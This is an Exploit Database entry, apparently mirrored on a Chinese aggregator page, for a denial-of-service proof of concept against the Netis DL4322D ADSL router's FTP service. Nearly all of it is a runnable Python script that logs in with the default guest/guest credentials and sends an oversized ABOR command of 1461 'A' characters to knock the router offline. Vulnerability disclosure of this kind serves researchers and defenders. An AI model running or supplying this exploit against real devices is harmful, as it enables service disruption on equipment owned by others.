Netis ADSL Router DL4322D RTK 2.1.1 – Denial of Service (PoC)

• Exploit Database
• 118 阅读

• 作者： cakes
  日期： 2018-09-17
• 类别：

  • dos
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/45424/
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  # Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC) # Author: Cakes # Discovery Date: 2018-09-16 # Vendor Homepage: http://www.netis-systems.com # Software Link: http://www.netis-systems.com/Home/detail/id/74.html # Tested Version: RTK 2.1.1 # Tested on OS: Kali Linux # CVE: N/A   # Description # The FTP service is vulnerable to a Denial of Service attack. Attackers simply need to log # into the router and send and valid FTP command with a character offset of 1461 as the command input   import socket   evil = '\x41'*1461   print "\n[*] Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)" print "\r[i] Creating socket" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "\r[i] Connecting..." connect = s.connect(('192.168.1.1',21)) s.recv(1024)   try: s.send('USER guest\r\n') s.recv(1024) s.send('PASS guest\r\n') s.recv(1024) print "\r[+] Connected" except: print "\r[!] Credentials aren't working. Please change if none default" print "\r[+] Sending Payload"   try: s.send('ABOR %s' % (evil)) print "\r[+] Payload sent" print "\r[+] Router offline" except: print "\r[!] Something went wrong" s.close()